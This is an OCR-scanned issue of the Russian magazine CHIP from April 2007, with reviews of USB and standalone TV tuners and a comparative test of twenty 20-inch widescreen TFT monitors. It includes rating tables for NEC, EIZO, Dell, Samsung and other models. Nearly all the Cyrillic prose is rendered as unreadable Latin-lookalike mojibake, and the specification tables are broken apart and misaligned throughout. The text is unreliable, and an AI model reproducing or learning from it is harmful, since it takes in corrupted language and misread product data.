BH-bjiOK KOMnaHHH ALPS. fljm no#- 

KJHOUeHHH ayflHO- H BH^eOTeXHHKH 
Hcnojib3yeTC5i nepexo^HHK, no 7 mep:*H- 
BaiOmHH MH03CeCTB0 HHTep(J)eHCOB. 
IlyjibT fly, MoaceT, h He oueHb yaodeH, 
3 aTO oh KOMnaKTeH h ero moxho hochtb 
c co6oh. C FM-npueMOM npodjieM Taxace 
He B03HHKHeT, noTOMy hto b KOMnjieKTe 
nocTaBjweTCii aHTeHHa, a 3a padoTy OTBe- 
uaeT uun Philips TEA5767 . npe^jiaraeMoe 
IIO no3BOJiHeT ocymecTBjiHTb BemaHHe b 
ceTb, A^JiaTb okho npOCMOTpa nepe^au 
npo3paHHbiM, HacTpaHBaTb HH-bxoabi c 
B03M03CH0CTBK) peryjiHpOBKH napaMeT- 
pOB KapTHHKH H 3ByKa, hto, CKOpee Bcero, 
nOHpaBHTCB TeM, KTO JH 06 HT 3aHHMaTb- 
cn ou;h(J)pobkoh aHajioroBbix 3annceH. 
A H3yueHHe HHOCTpaHHbIX H3BIKOB C 

noMombio 25 -ro xa^pa ot KOMnaHHH 
Beholder CTaHeT npHHTHbiM ^onojiHeHH- 
eM ko BceMy BbinienepeuHCJieHHOMy. 

TB-TMHepbi USB 2.0 

Bbi MoxeTe BCTpeTHTb Mo^ejiH, Bbinoji- 
HeHHbie b (J)opMaTe (juieni-ApaiiBa hjih b 
BH^ e OT^eJIbHOH KOpodOHKH, HO H^eil 
AaHHbIX yCTpOHCTB OAHa — flOCTHTHyTb 

MaKCHMajibHOH mo6hjibhocth. njHOC K 
OTOMy AodaBjiiieTCii h yHHBepcajibHOCTb 
Hcnojib30BaHH5i: bbi MoxeTe 6paTb 

noa;o6Hbie ycTponcTBa b #opory, Be#b 
radapHTbi h Bee He dy^yT omyraMbiMH. 

AVerMedia AVerTV Hybrid+FM Volar 

npex^e Bcero, ^amioe ycTponcTBO npn- 
BjieKaeT BHHMamie cbohm #H3aHHOM. 
OueHb KOMnaKTHblH H KpaCHBblH TB- 
TioHep BHemHe hhucm He OTjiHuaeTcn ot 


CTaH^apTHoro 4)jiem-ApaHBa. flaHHan 
MO^ejib Taxxe nBjineTCH radpH^HOH, uto 
n03B0JIHT CMOTpeTb h aHajioroBoe, H 
UHcjipoBoe TejieBH^eHHe, a TaioKe cjiy- 
maTb paflHO. Ha6op Kadejieii h nyjibT 
fly, KOTOpblH nOUTH He OTJIHHaeTCil pa3- 
MepOM ot caMoro TioHepa, a Taioxe 
aHTeHHa c MarHHTHbiM ocHOBaHHeM 
AonojiHHiOT KOMmieKTaiiHK) AaHHoro 
ycTpohcTB a. Ecjih USB-nopTbi 6 jih3ko 
pacnojioxeHbi npyr k apyry, to, jijih toto 
HTO dbl TB-TK)Hep He 3aHHJI COCeAHHH 
nOpT, MOJKHO npHMeHHTb BXOA^mue 
b KOMnjieKT USB-yAJiHHHTejiH. 3axBaT 
CHTHaJia npOH3BO£HTC5I, KaK H y 
PCMCIA-BapuaHTa TioHepa, nnnoM 
XC3018, a BOT OIJH(J)pOBmHKOM BblCTy- 
naeT 10-6 hthbih AUJ 1 CX25843 npOH3- 
BOACTBa KOMnaHHH Conexant. Hh n 
padoTaeT co BceMH BHAeocTaH^apTaMH h 
HMeeT AeKo^epbi cTepeo3ByKa A2/ 
NICAM. KpOMe ototo CX25843 ocHa- 

meH BCTpOeHHbIM TpexnOJIOCHbIM 3KBa- 
jiaH3epOM, peryjinTOpaMH tpomkocth h 
GajiaHca h noAaepxcHBaeT uacTOTy a, hck- 
peTH3au;HH 3Byxa ao 96 kFu;. TaioKe B03- 
MoaceH npocMOTp HDTV-nporpaMM, 
BbiBOA cydTHTpOB h nporpaMMbi nepe- 
A an, ecjiH Taxan bo3mo3choctb npe^o- 
CTaBjmeTcn nocTaBm,HKOM iiHC^poBbix 
ycjiyr CTaH^apTa DVB-T. fljm Hcnojib30- 
BaHHH (J)yHKu;HH 3anncH hjih «Timeshift» 
npH^eTCH B0Cn0JIb30BaTbCH MbimKOH. 

Compro VideoMate U900 

flaHHaa MoaeJib, noxoace, nBjineTcn caMbiM 
MajieHbKHM b MHpe nojiHO(J)yHKu;HOHajib- 
hbim KopodoHHbiM BapHaHTOM TB-TioHepa. 
MnHHaTiopHbie pa3Mepbi (cpaBHHMbie c 
Kpe^HTHOH KapTOH) H HedojibmoH Bee 



ABjifleTCfl, no cym, PCIVICIA-jiOKajui 3 auMeM 
yflanHOM MOflerw PCI-cjJopMaia Behold TV 409 FM m o 6 jiaflaeT TaKMM 
Me BbicoxMM KanecTBOM npweMa m HadopoM flonojiHMTejibHbix cpy h K 14 m h 
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VIDEOMATE U900 


KopodoHHbm TtOHep b Miipe - He MrpywKa, 
a nojiHOtjjyHKLiMOHanbHoe ycTpowcTBO 


(60 r) aertaiOT VideoMate U900 yaodHbiM 
ero HomeHHH aaace b KapMaHe nnaacaxa. 

3tot TioHep noaaepacnBaeT Bee TejieBH- 
3HOHHbie cjDopMaTBi, Tax ace nepe3 S -Video 

HJIH K0MII03HTHBIH BXOa K HCMy MOaCHO 
noaxjHonaTb 6biTOByK) TexHHKy. B ycT- 
poiiCTBe Hcnojib3yeTC5i B t L6jioxXC2028, 
odjiaaaioiaHH bbicoxoh nyBCTBHTejibHOC- 
Tbio, a b xanecTBe AD,n npHMeHeH 10- 
6hthbih ran TVMaster TM5600, hto 
odecneraBaeT oaHcjDpOBxy ao 720 x 576 
arm PAL/SECAM n 720x480 arm NTSC 
4>opMaTOB TB-cnmajia. Y aaHHoro rana 
OTcyrcTByeT BCTpoeHHan bo3mo3choctb 
aexoanpOBaHHH iin^poBoro 3Byxa — OHa 
peajiH30BaHa c noMombio rana Philips 
TDA9874AH, odecneraBaioiaero aexo- 
AHpOBaHne cnmajiOB A2/NICAM. 

B KOMnjieKTe nocTaBjnnoTcn yaodHbin 
iljiocxhh nyjibT ffY , Bee HeodxoaHMbie 
niHypbi n nepexoaHHxn, a Taxace nojmo- 
(J)yHKn;noHajibHbie Bepcnn nporpaMMHbix 
npoayxTOB ot KOMnaHHH Ulead Systems: 
Photo Explorer 8 . 5 SE, DVD MovieFactory 
3 SE, VideoStudio 8 SE. OnpMeHHan 
yrajinTa ComproPVR 2 npeaocTaBjmeT 
doraTbie bo3moxchocth no HacTponxe 
pa3Jinrabix napaMeTpOB aynno n Bnaeo; 
Taxace HMeeTcn n 4>yHK unn «Timeshift», 
OaHaxo ynpaBjiHTb nnTaHneM xoMnbio- 
Tepa nocpeacTBOM TioHepa HeB03MoacHO, 
ho b roiaHHpOBmHKe 3aaan MoacHO 
BbiCTaBHTb OTKjnoneHHe KOMnbiOTepa 
nocjie OKOHnaHnn 3anncn. 

ABTOHOMHbie TB-TIOHepbl 

3tot mn TB-TiOHepOB mo)kho nopexo- 
MeHaoBaTb TeM n o ji b 3 o b aTeji a m , xoTOpbie 


xotht HanaTb axcroiyarapOBaTb ycTponc- 
tbo cpa3y, He npOH3Boan Hnxaxnx jthttt- 
HHX HaCTpOeX. npH 3TOM OTJIHHHTeJIbHOH 
OCOdeHHOCTbK) HBJIHeTCH B03M03CH0CTB 
npocMOTpa jhoOhmbix Tejienepeaan 6e3 
BXjnoneHHH xoMnbHDTepa. 

Compro VideoMate V550 

TeM, xto He jhoGht 3aHHMaTbca ycTaHOB- 
XOH H HaCTpOHXOH odopyaOBaHHH, HHC- 
TajuumneH apaimepOB h BbinojiHeHneM 
nporax aencTBHH, xoTOpbie Heodxoan- 
mbi arm xoppexTHon padoTbi TB-TiOHepa, 
moxho cMejio pexoMeHaoBaTb aaHHyio 
Moaera. OHa HacToraxo npocTa, hto 
aOCTaTOHHO JIHmb nOaXJHOHHTb aHTeHHy 
h mohhtop — h Bbi CMoaceTe Hacjiaac- 
aaTbcn jho6hmbimh TejienepeaanaMH. 

V550 cnocodeH odecneraTb pa3peme- 
Hne ao 1600x1200 c cooTHomeHneM cto- 
poH 4:3/5:4, a Taxace noaaepacnBaeT hih- 
poxoaxpaHHbie peacHMbi 16:9 h 16:10. 
IlOMHMO 3T0T0 TB -TIOHep HMeeT BCTpO" 
eHHyio npo^eccHOHajibHyio cjDyHxiiHio 
3D-pa3aejieHHH uBeTHOCTH h hpxocth, a 
Taxace myMonoaaBjieHHH — ana nojiyne- 
hhh 6ojiee hhctoto h neTxoro H3o6paace- 
hhh. Cpean apyrnx B03MoacHOCTeH — 
oniiHa «xapTHHxa-B-xapTHHxe», npo- 
cmotp ao 9 xaHaaoB Ha oaHOM axpaHe, 
noaxjnoneHHe Hecxojibxnx Gbitobbix 
ayano- h BHaeoycTpohcTB (aJM 3Toro npe- 
aycMOTpeHa cneanajibHaa aox-craHuna c 
aOnOJIHHTeJIbHbIMH XOMMyHHXaHHOHHbl- 
mh pa3BeMaMH). KpOMe Toro, yaodHbiH 
37-xHonoHHbin nyjibT flY no3BOJiaeT 
ynpaBjiHTb ycTponcTBOM 6e3 xaaBHaTypbi. 

Leadtek WinFast TV Pro II 

riepBOHanajibHoe noaxjnoaeHHe BHe- 
mHero TB-ramepa xoMnaHHH Leadtek 
HnneM He OTjiHnaeTca ot V550. flocTaeM 



ero H3 xopodxH — h nepe3 napy MHHyr 
MoacHO npocMaTpHBaTb Tejienepeaara. 
BaacHOH ocodeHHOCTbio ycrpoHCTBa 
aBjiaeTca noaaepacxa nacTOTbi odHOBjie- 
HHH H306paaceHHH 85 To, HTO n03BOJIHT 
XOM(J)OpTHO BOCnpOH3BOaHTb H306pa- 
aceHne Ha CRT-MOHHTOpax c pa3peme- 
HneM ao 1280x1024. PadoTa b mnpo- 
xo3xpaHHOM peacHMe yace CTaHOBHTca 
cTaHaapTOM ae-4>axTo, h aaHHaa Moaera 
He HBjiaeTCH HCXjuoneHHeM. OneHb opn- 
rHHajibHO h yaodHO peajiH30BaHO Me- 
Hio, djiaroaapa neMy nojib30BaTejiio He 
cocTaBHT Tpyaa Hanm HeodxoaHMyio 
(jDyHxamo. B xoMnjiexTe HMeeTca nyjibT 
flY c xopomo npopadoTaHHOH oproHO- 
MHraOCTbK), a XOMMyHHXaiJHOHHbie 
pa3i>eMbi pacnojioaceHbi Ha xopnyce h 
H e TpedyiOT aonojiHHTejibHbix noacTa- 
box, xax, HanpHMep, b V550. Ha nepe- 
aHiox) naHejib BbmeceHbi S -Video, xom- 
no3HTHbiH Bxoa h asa RCA; C3aan pac- 
nojioaceHbi pa3i>eM djioxa nHTaHHH, 
VGA, miniDIN 9 pin arm noaxjiiOHeHHH 
TB -TioHepa x BHaeonjiaTe, jiHHeHHbin 
ayanoBbixoa, ayanoBxoa, xoMno3HTHbiH 
BHaeoBbixoa H me3ao arm noaxjuone- 
hhh nHTaHHH. ■ ■ ■ Ahtoh rieipoB 



BEHOLD TV M6 EXTRA 


| noflflep>KMBaeT 
KOflnpoB 3 Hne 3 ByKa b cjJopMaie AC-3 M 
nojiHOueHHO pa6oTaeT c Windows Vista m MCE 



LEADTEK WINFAST TV PRO II 


| cnocodeH 

noxBaciaib otjihhho npopadoiaHHbiM MeHH) 
h aproHOMMHHbiM nyjibTOM AY 
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HBI? TEST & TECHNICS MoHMTopbi c flMaroHajibio 20 akdmmob 



20 -flK)MMOBbie LUI/ipOKOCfDOpiViaTHbie TFT-MOHUTOpbl 0 T 06 pa- 
waiOT Ha 35 % do/ibiue BM 3 ya;ibH 0 M MHCfDopMaijMM, HeM npi/i- 
BbiHHbie 19 -flioi/iMOBbie. A mx LjeHa HeHaMHoro Bbiiue. Mbi 
TinaTe/ibHO npoTecrmpoBa/iM HOBbie MOflejiM aToro KJiacca. 


B 3T0M CTaTbe 

flBeHafluaTb 20-AKMMOBbix 
TFT-MOHi/uopoB cfDopMaTa 16:10 

noApoOHbm aHa/ii /13 ocHamem/m 
Bo/ibLuoH o 63 op pe 3 y/ibTaTOB Tecia 
CoBeTbi CHIP: npoBepKa nepeA noKynKOM 


n 0JIb30BaTeJIH TFT-MOHHTOpOB BCe 
name npeAnoHHTaioT 20-AKMMOBbie 
MOAeJIH C COOTHOineHHeM CTOpOH 
16:10. npH 3TOM MOHHTOp C BbICOKHM pa3- 

peinemieM 1680x1050 yace mo>kho KymiTb 
HeMHoraM AOpoace $400. Taicne uenbi — 

pe3yjIbTaT OCTpOH KOHKypeHAHH npOH3BO- 
AHIAHX KOMnaHHH. Ho He TOJIbKO. 3aTpaTbI 
Ha npOH3BOACTBO y 20-AK)HMOBbIX MOHH- 
TopoB HeHaMHoro Bbirne, hqm y «AeBjrraa- 
meK»: 20-AK)HMOBaiT MaTpHija cpopMaTa 

16:10 HMeeT roiomaAb 179 KBaApaTHbix 
Aiohmob, njiomaAb ace 19 -akmmoboh 
naHera cpopMaTa 5:4 paBHa 176 KBaApaT- 

HblM AIOHMaM. IlpH 3TOM 20"AK)HMOBbIH 
3KpaH AaeT Ha 35% 6ojibine BH3y ajibHOH 
HH4)opMau;HH. fljiH nojib30BaTejieH 3 to 
03HanaeT AonojiHHTejibHoe yAo6cTBO npH 
pa6oTe c coBpeMeHHbiMH nporpaMMaMH, y 
KOTOpbix ecTb CoKOBbie naHejiH HHCTpy- 
MeHTOB. HarjiBAHbiH npHMep — Windows 
Vista c ee BHAaceTaMH. 

CHIP npOTecTHpOBaji 12 aKTyajibHbix 
MOAejieii: OAHHHaAAaTb 20 -ak)hmobbix h 

OAHH MOHHTOp C AHarOHaJIbK) 21 AIOHM. 
CpeAH HHX ACBiTTb OTHOCHTCJIbHO AOpOTHX 
c BbicoKOKanecTBeHHbiMH MaTpHu;aMH 
MVA, PVA h IPS, a eme TpH — 6ojiee 
AemeBbie, c TN-naHejiHMH. 


KAHECTB0 I/I 3 0 E P A)K E H I/I fl 

AM 3 aMHepCKMM NEC, 
reMMcpcKMM Dell 


Jlynnrae noKa3aTejiH KanecTBa H3o6paace- 
hhh — y MOAejiH NEC MultiSync 20WGX2: 

IHHpOKHH CHMMeTpHHHblH yTOJI 0630pa, 
OTJIHHHan MaKCHMaJIbHan KOHTpaCTHOCTb 
h BbicoKaa MeTKOCTb no «maxMaTHOH» 
ceTKe (nepHbiH/6ejibiH/nepHbiH), TOHHoe 
OTodpaaceHHe HBeroB h rpaAau;HH ceporo. 
3 tot mohhtop moxcho ycneniHO Hcnojib- 
30BaTb h c rpacpHnecKHMH nporpaMMaMH 
AJia BHAeoMOHTaaca. 

OAHaKO y 3toh MOAejiH, Kax h y ocTajib- 
hbix ynacTHHKOB TecTa, BpeMa OTKjiHKa 
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cjihihkom BejiHKO jinn tohhoh nepenaHM 
ABHxceHHH. TecT c Hrpon Need for Speed 
Underground bbihbhji 3 aMeTHyio noTe- 
pio pe 3 KOCTH ABHxymnxcn oGbeKTOB. 
19 -aiOHMOBBie Mo^ejin, pa 3 pa 6 oTaHHBie 
cneianajiBHO ajih KOMnbiOTepHbix nrp, b 
3 tom OTHomeHHH ropa 3 AO jiynine. 
npaB^a, oahh H 3 yuacTHHKOB TecTa noH- 
paBHjicn HaM Gojibine Apyrnx. 3 to Dell 
2007WFP. Ero cpeAHee BpeMH OTKJiHKa 
Ha H 3 MeHeHne rpa^ai^HH ceporo, paBHoe 
6 MC, HeJIB 3 H Ha 3 BaTB peKOpAHBIM, HO Bee 
xe oh ropa 3 AO pe 3 ne OTodpaxaeT 6 bict- 
pBie ABffiKeHHH. 

LG Flatron L204WT yAHBjraeT CBoen 

HeBepOHTHO BbICOKOH MaKCHMaJIBHOH KOH- 
TpacTHOCTBK) — 2504:1. 3 to o 6 bh ch h erca 
npocTo: mohhtop noHHxaeT cjDOHOByio 
noACBeixy, kslk tojibko hpkoctb H 3 o 6 pa- 
xeHHn aoxoaht ao onpeAejieHHoro ypOB- 
hh. FbMepeHHan >xe KOHTpacTHOCTB no 
maxMaTHOH cence, ocoGemio BaacHan jsjm 
OTodpaxeHHH TexcTa, cocTaBjineT 32:1. 

«niaxMaTHan» KOHTpacTHOCTB Samsung 
SyncMaster 205BW BBirjiHAHT ropa 3 AO 
BHyniHTejiBHee: cooTHomeHHe 121:1 b TpH 
c jihuihhm pa 3 a BBime, neM y GojibniHHC- 
TBa conepHHKOB. M 3 o 6 pa 3 ceHHe OTjiHna- 
eTCH HH 3 KHM ypOBHeM paCIUIbIBHaTOCTH 
Gejibix h nepHBix nojien. Mohhtop npocTo 
HAeajieH jinn OToGpaaceHHH TexcTa. 


aPTOHOMI/IHHOCTb 

Philips nonaeT npmviep 


Rbhbih ayTcaHAep b OTHomeHHH oproHO- 
mhhhocth — LG L204WT. KHomoi MeHio 
OSD o 6 o 3 HaneHBi Ha nepeAHen naHejin, 


Mtom TecTa 

■ Ham TecT noflTBepwflaeT, hto y 20- 

fltOMMOBblX LUI/ipOKOC|)OpMaTHblX MOHMTOpOB 
3a BbicoKoe KanecTBO M3o6pa>KeHHfl npn- 
xoautca floporo ruiaTMTb. Tax, MOAe/ib- 
no6eflme^bHMua NEC MuLtiSync 20WGX2 
CTOMT 0K0J10 $700. C ApyrOM CTOpOHbl, 
Samsung SyncMaster 205BW AOKa3biBaeT, 
hto n 3a $450 mowho npo6pecTH npn/iun- 
HbiM mohhtop, npnroAHbm nOHTI/l /1KD- 
6bix 3aflan — ot pa6oTbi c TeKCTOM ao 
BHA eoMOHTa>Ka. >Kajib, hto npn nepeAane 
6biCTpbix ABH>KeHnn hh oahh n3ynacTHn- 
KOB He A 06 HJlCfl BbICOKHX pe3y/ibraTOB. 



Ba>KHbie Mejiomi 


VflOBHbIM ffOCTVn y floporwx MOflejiew, 
Hanpmviep Philips 200WP7ES, nopTbi USB 
pacnoiio)KeHbi yao6ho, m flo6paibca ao hmx 
mo)kho He pucxyfl BbiBMXHyTb pyxy 


flOnOJIHMTEJIbHblE BXOflbl Pa3teMbi SCART, 
S-Video h odbiHHbiw bhaoobxoa MOAemi Acer 
AL2032W AeoaroT ee coBMecniMOH npaxTHnecxM 
C J1K)60M ObITOBOM TeXHHXOM 


ho Ha caMOM Aejie pacnojioaceHbi c 3 aAH. 
Bee pa 3 beMBi HaxoAHTcn Tax hh 3 ko, hto 
AJ in noAKJiioueHHH mohhtop npHxoAHTcn 
nepeBOpauHBaTB BBepx HoraMH. npHMep 
ace npaBHjiBHoro noAxoAa noAaeT Philips 
200WP7ES. Ero BbicoTa peryjiHpyeTcn b 
npeAejiax 14 caHTHMeTpOB, Tax hto nojib- 
30 BaTejib jho 6 oto pocTa MoaceT HacTpo- 
HTb ero noA ce 6 n. CTOHKa c cjiyHKHHHMH 
BpameHHH, HaxjiOHa h mapHHpOM rjw 
nOBOpOTa B BepTHKaJIbHblH (J)OpMaT 
(Pivot) no 3 BOJineT npn ycTaHOBKe 6 e 3 
TpyAa AodpaTbcn ao pa 3 beMOB . E jiaroAapn 
MaTpHIje IPS C CHMMeTpHHHbIM yTJIOM 
o 630 pa (J>yHKu;HK) «Pivot» moxho ncnojib- 
30 BaTb 6 e 3 npodjieM. 

ASUS PW201 H 3 MOTBJI HaM HepBbI CBO- 
HMH CeHCOpHbIMH KHOnKAMH. HHOTAa 
ohh peampyiOT Ha npHKOCHOBeHHH cpa 3 y, 
HHOTAa c 3 aAep>KKOH, HHOTAa He cpaOaTbi- 
BaiOT coBceM. 3 tot mohhtop jiynme 
HacTpaHBaTb c noMombio mTaTHoro Apait- 
Bepa ajhi Windows. 


0 C H A 111 E H I/I E 

Tlfiioc Blu-ray h HD-DVD 


ASUS PW201 c jihxboh HCKynaeT cboio 
M ajieHbKyio cjiadocTb pocKomHbiM ocHa- 
meHHeM: y Hero ecTb Bee MbicjiHMbie aHa- 
jioroBbie BHAeoBxoAbi, BKjnoHan KOMno- 
HeHTHbie pa 3 beMbi h SCART. K TOMy xce 
3 to eAHHCTBeHHan MOAejib co BCTpoeHHoir 
Bed-xaMepOH ajih BHAeonaTOB. OcTajibHbie 
ynacTHHKH TecTa orpaHHHHBaiOTCH Kjiac- 
CHnecKHM ocHameHueM: oahh bxoa VGA 
h oahh pa 3 beM DVL JTumb y moaojih 
EIZO S2110W ecTb ABa nopTa DVI-I, k 
KOTO pbiM moxcho noAKJiioHaTb h aHajioro- 
Bbie, H AH(J)pOBbie HCTOHHHKH CHTHaJia. 

BjIOKH nHTaHHH MOHMTOpOB — KaK BHe- 
mHHe, Tax h BCTpoeHHbie — 3aMeTHO yco- 
BepmeHCTBOBajiHCb : GojibmHHCTBO ycT- 
Pohctb b pexcuMe OvKHAaHHH noTpedjiHeT 
He 6ojiee 0,1 Bt. McKjnoHeHHHMH oxa3a- 
jihcb MOAejiH Acer h ViewSonic, KOTOpbie 
Aa>xe «bo CHe» cxcnraiOT no 3 Bt. 

ToMy, kto codnpaeTCH b GjiKacanmeM 
GyAymeM CMOTpeTb Ha CBoeM MOHHTOpe 
(J)HjibMbi CTaHAapTOB Blu-ray, HD-DVD 
hjih HDTV, 3aiAHiheHHbie 0T KonupOBa- 
hhh, cjieAyeT BbidpaTb ycTpoucTBO c c))yH- 
KHuen HDCP Ha bxoac DVI. CpeAH ynac- 
thhkob Hamero TecTa ee HMeiOT tojibko 
MOA ejiH Dell, LG h Samsung, am? 


CHIP I AnPEBb 2007 
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HBI? TEST & TECHNICS MoHMTopbi c flMaroHajibio 20 aiommob 



jiynuiMM 

npoAyKT 


sag 

OnTMMAJlbHbM 

BbIBOP 


MECTO 

i 

2 

3 

4 

5 

6 

7 

8 

9 


MultiSync 

20WGX2 


FlexScan 

S2110W 


UltraSharp 

2007WFP 


Brilliance 

200WP7ES 


ScaleoView 

S20-1W 


SyncMaster 

205BW 


ripon3BOAHTenb 

NEC 

EIZO 

Dell 

ASUS 

Philips 

Belinea 

Fujitsu Siemens 

Samsung 

Acer 

UeHa, $ 

700 

1400 

630 

650 

530 

530 

770 

450 

740 

AApec b MHTepHeie (www) 

nec-display- 
solutions com 

eizo.ru 

dell.ru 

asus.ru 

philips.ru 

belinea.ru 

fujitsu-siemens. 

ru 

samsung.ru 

acer.ru 

Obmaa oueHKa 

93 

92 

90 

89 

88 

79 

79 

78 

76 

■ ■■■■ 

■ ■■■■ 

■ ■■■■ 

■ ■■■□ 

■■■■hi 

■ ■■■□ 

■ ■■■□ 

■ ■■■□ 

■■■■01 

KanecTBO M3o6pa>KeHi4$i (50%) 

•100 

• 96 

• 95 

• 87 

• 91 


■k 89 

• 86 

• 81 

H 90 

SprOHOMMHHOCTb (25%) 

• 89 

• 81 

• 90 

• 95 

•100 

• 

• 

63 

• 76 

• 76 

• 64 

OcHaiAemie (10%) 

• 82 

• 87 

• 89 

•100 

• 68 

71 

• 53 

• 68 

• 58 

CepBMC (7,5%) 

i 64 

•100 

;M 64 

• 73 

• 55 

64 

b 64 

• 64 

• 45 

floxyMeHTauMfl (7,5%) 

•100 

•100 

• 86 

■f 86 

^ 86 


w 86 

mt 86 

•100 

• 86 

CooTHOiueHMe ueHa/xanecTBO 
06LAHM BblBOA 

y/lOB/i. 

cpeflHee 

y/lOB/i. 

xopomee 

yflOBii. 

xopomee 

y/lOB/i. 

OTni4HHOe 

cpeAHee 

noOeflHTe/ib 
TecTa OTJii/ina- 
eTCB BbICOKOM 
KOHTpaCTHOC- 
TbK) 14 TOHHOM 

UBeTonepefla- 
h eft i43odpa- 
>xeHi4a 

Mofle/ib 
S2110W npo- 
l43BOflCTBa EIZO 
CTOI4T floporo, 
ho mvieeT Bbi- 
coKoe xanecTBO 
14 5-JieTHIOIO 
rapaHTi4io 

yHMBepca/ib- 

Hbll4 Ta/iaHT. 

HDCP no DVI 
AenaeT ero 
npi4roAHbiM 
AJia My/lbTH- 
MeAMMHoro 
npmvieHeHi4a 

MaTpmja 
GlareType 
MOAeni4 ASUS 
PW201 mvieeT 

BblCOKyiO KOH- 
TpaCTHOCTb, 

HO AOCTaTOHHO 
CH/ibHO 6ni4KyeT 

Philips J1I4AI4- 
pyeT b apro- 

HOMI4HHOCTI4: 
Bee nopTbi 
14 3/ieivieHTbi 
ynpaBJieHMa 
pacnono>KeHbi 
oneHb yAodHO 

Belinea 
102035W — 
HeAoporaa 
ocjDMCHaa 
MOAenb; k cowa- 
neHMio, BbicoTy 
Henb3B peryni4- 
poBaTb 

BnaroAapa 

CTI4JlbHOI4 

noACTaBKe 

COni4AHbll4 

S20-1W CTaHeT 
yKpameHMeM 
moboro CTona 

Samsung 
205BW mvieeT 
BnonHe npweivi- 
neMoe xanecTBo 
i43obpa>KeHi4a 
npi4 KOHKypeH- 
TOCnOCObHOM 
ueHe 

AL2032W, AaeT 
i43obpa>KeHi4e 
OTni4HHoro xa- 
HeCTBa, HO AJlfl 
npOCMOTpa B 14- 
Aeo cni4mKOM 
MeAJiHTeneH 


XapaKTepucTMKM 


flnaroHanb, akmmob 


20,1 


21,1 


20,1 


20,1 


20,1 


20,1 


20,1 


20,1 


20,1 


Pa3peiuemie 


1680x1050 


1680x1050 


1680x1050 


1680x1050 


1680x1050 


1680x1050 


1680x1050 


1680x1050 


1680x1050 


MaTpmja 


S-IPS 


S-PVA 


IPS 


MVA 


S-IPS 


Premium MVA 


MVA 


TN+Film 


PVA 


fadapnTbi, mm 


470x400x190 


500x350x220 


475x330x175 


560x365x275 


485x400x220 


475x430x215 


485x405x205 


470x350x210 


510x450x210 


Bee, Kr 

PerynupoBKa BbicoTbi, i 


6,3 


8,2 

95 


6,5 

100 


9,7 

130 


8,6 

140 


6,4 


7,7 

80 


6,8 

85 


6,8 


IIOBOPOT 3KpaHa/ 
nopTpeTHbiti pe>KnM 


•/- 


/- 








-/- 


-/- 


/- 


BnfleoBxoflbi 


HDCP no DVI 


VGA, DVI-D 


2x DVI-I 


VGA, DVI-D, 
S-Video, FBAS 


VGA, DVI-D, YUV, 
S-Video, FBAS 


VGA, DVI-D 


VGA, DVI-D 


VGA, DVI-D 


VGA, DVI-D 


VGA, DVI-D, 
S-Video, SCART 


nopTbi usb 


fpoMKoroBopMTenM 


QTo6pa>KeHMe HeciaH- 
flapTHoro (HM 3 K 0 r 0 ) 
pa3pemeHiin 
BnoK nmaHMfl 


Pe3y/ibTaTbi M3MepeHiiM 


KOHTpaCTHOCTb 1 


MHTepnojiauMa 

BCTpOeHHbm 


1 : 1 , 

MHTepnojiauMa 

BCTpOeHHbm 


1 : 1 , 

i/iHTepnojiflLji/m 

BCTpoeHHbm 


MHTepnojiauMa 
B H e LLI H l/l l/l 


i/iHTepnojiflLji/m 

BCTpoeHHbm 


MHTepnojiauMa 

BCTpoeHHbm 


MHTepnojiauMa 

BHeniHi/m 


MHTepnojiauMa 

BCTpoeHHbm 


MHTepnojiauMa 

BHeilJHHH 


1429:1 


1236:1 


705:1 


783:1 


901:1 


821:1 


626:1 


681:1 


767:1 


KOHTpaCTHOCTb 

no LuaxMaTHOM ceTxe 1 


40:1 


31:1 


40:1 


26:1 


40:1 


40:1 


35:1 


121:1 


40:1 


Maxc. npKOCTb 1 , ka/m 2 

Pa3bpoc npKOCTM 2 , % 

tloACBeTKa axpaHa: neM 
Bbirne roMoreHHOCTb 
M3o6pa)KeHHfl, TeM paB- 
HOMepHee noACBeixa 


416 


434 


232 


242 


232 


248 


235 


249 


243 











—K 


n 


0630 P npil KOHTpaCTHOC- 
tm 1 0:1 (no rop./BepT .) 1 

Yron od 3 opa: neM cseinee 
BHyipeHHne odnacm, 

TeM nyHiue M 30 bpa)xeHMe 
cmotphtcb c 6 oxy 


1757175° 


1747175° 


1737172° 


1747174° 


1737173° 


1737172° 


1747173° 


1607154° 


1727172° 





<s> 



CpeAHee BpeMn OTx/uixa 
(cTyneHM ceporo) 2 , mc 


10 


OueHKa 3 a nrpbi 

Hexeaixa pe 3 xocin abm- 
rocn M 3 o 6 pa)KeHiifl 


2,5 

OTHeTJii/iBa 





fla, - HeT ■ Otjimhho (1 00-90) ■ Xopomo (89-75) ■ CpeflHe (74-45) ri/ioxo (44-0). Bee opeHKM b fiajuiax (MaKcmviyM — 1 00). 3^^ I JlynLuee 3HaneHMe[3^Ll XyAwee 3HaHeHwe 
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10 

11 


VX2025wm 

Flatron 

L204WT 

FP202W 

ViewSonic 

LG 

BenQ 

540 

420 

400 

viewsonic.ru 

lge.ru 

benq.ru 

75 

67 

65 

■ ■■■□ 

■ ■■□□ 


■>» 

• 76 

• 68 

. 57 

* 49 

® 58 

K 47 

• 55 

• 58 

• m 

• 64 

• 64 

1 

oo 

CD 

• 86 

■f 86 

xopoiuee 

OTJIMHHOe 

xopomee 

Co3flaiejiM 
VX2025wm 
AaneKo He 
nOJlHOCTbK) 
MCn0Jlb30Ba/lM 
CMJlbHbie CTO- 
pOHbl OTAMHHOM 
MaTpMLJbl 

XMTpOCTH C 
KOHTpaCTHOC- 
TbK), K KOTOpbIM 

npMOeraei 
LG, HMnero He 
AaiOT: L204WT 
ocTaeTca 6 ioa- 
>KeTHbiM TFT- 
AMcnneeM 

Bfljiaa KOHTpacT- 
HOCTb M HebOJlb- 

luom yrou 0630 - 
pa: HecMOTpa Ha 

OTHOCMTe/lbHO 
HM3Kyio ueHy, 
MOAe/ib FP202W 
HeyOeAMTe/ibHa 


20,1 

20,1 

20,1 

1680x1050 

1680x1050 

1680x1050 

MVA 

TN+Film 

TN+Film 

490x445x200 

465x385x230 

480x395x170 

6,3 

4,8 

5,7 

— 

— 

— 

— /— 

— /— 

— /— 

VGA, DVI-D 

VGA, DVI-D 

VGA, DVI-D 

— 

• 

— 

— 

— 

— 

• 

— 

— 

MHTepnOJlflLJMfl 

MHTepnOJlflLJMfl 

HHTepnOJlflLJMfl 

BCTpOeHHbIM 

BCTpOeHHbIM 

BCTpOeHHbIM 

697:1 

2504:1 3 

486:1 

40:1 

32:1 

24:1 

242 

225 

278 

7 

7 

11 

□ 

LJ 

n 

1727172° 

1657159° 

1707167° 




7 

13 

14 

2,5 

2,5 

2 
